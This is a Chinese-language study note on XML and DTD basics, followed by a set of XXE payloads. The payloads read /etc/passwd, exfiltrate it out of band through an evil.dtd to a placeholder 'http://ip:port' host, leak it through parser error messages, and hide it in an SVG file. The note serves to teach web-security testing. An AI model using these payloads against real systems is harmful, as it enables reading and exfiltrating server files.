XML

XML基本格式:

<?xml version="1.0" encoding="UTF-8"?>  <!-- version:当前文档使用的版本 encoding:当前文档使用的编码 -->
<note date="12/11/2007">                <!-- 根元素note,同时也是to from heading body 的父元素 -->
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

XML文档由元素构成,每个元素包括开始标签、结束标签和元素内容,XML 属性值必须加引号,比如例子中的date

DTD

DTD 的目的是定义 XML 文档的结构以及法律元素和属性,可以在内部声明,也可以被外部引用

<!DOCTYPE note
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

例子中!DOCTYPE 指定根元素 note,!ELEMENT 先定义note必须包含的子元素,再分别定义各个子元素类型

PCDATA和CDATA的区别:

PCDATA:会解析一些特殊符号,比如<,里面如果要用到符号的字符必须使用预定义实体
CDATA:完全不解析,全部当作文本内容

ENTITY

DTD实体分为通用实体和参数实体,还要注意一些特殊符号在XML中有特定作用,需要字符时要使用预定义实体,常用的五个:

< - &lt;
> - &gt;
& - &amp;
" - &quot;
' - &apos;

通用实体,引用时使用符号&

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">]>
<test>
&writer;
</test>

引用外部实体通常使用SYSTEM ,也可以使用PUBLIC,但是需要public id

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<test>
&file;
</test>

参数实体,引用时使用符号%,且只能在DTD文档中使用:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY %writer "Dawn">
%writer
]
>

XXE

常用file协议来读取敏感文件,根据不同的解析语言还可以使用不同的协议,如php伪协议

常规XXE

通用实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<test>
&file;
</test>

参数实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip:port/evil.dtd">
%dtd;]>
<test>
&all;
</test>

evil.dtd:

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY all "%start;%xxe;%end;" >

OOB XXE

XXE外带:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://ip:port/evil.dtd">
%remote;%int;%send;
]>

evil.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port/?p=%file;'>">

报错XXE

如果正常解析无回显并且开启了报错就可以利用XXE的报错来带出数据:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://ip:port/evil.dtd">
    %ext;
]>
<message>any text</message>

evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#37; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

不出网的情况,即无法从外部获取dtd,本质上对特殊符号再进行了一次预定义实体的转换:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % condition '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
'>
    %condition;
]>
<message>any text</message>

XXE特殊出现形式

SVG XXE

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="400px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

参考资料

https://developer.mozilla.org/zh-CN/docs/Web/XML/Guides/XML_introduction

https://www.runoob.com/xml/xml-syntax.html

https://www.w3schools.com/xml/xml_dtd.asp

https://exp10it.io/posts/xxe-note/

https://boogipop.com/2023/03/06/XXE%E6%B3%A8%E5%85%A5%E7%9A%84Remake%E4%B9%8B%E6%97%85/

https://j7ur8.github.io/WebBook/VUL/%E6%8A%A5%E9%94%99XXE.html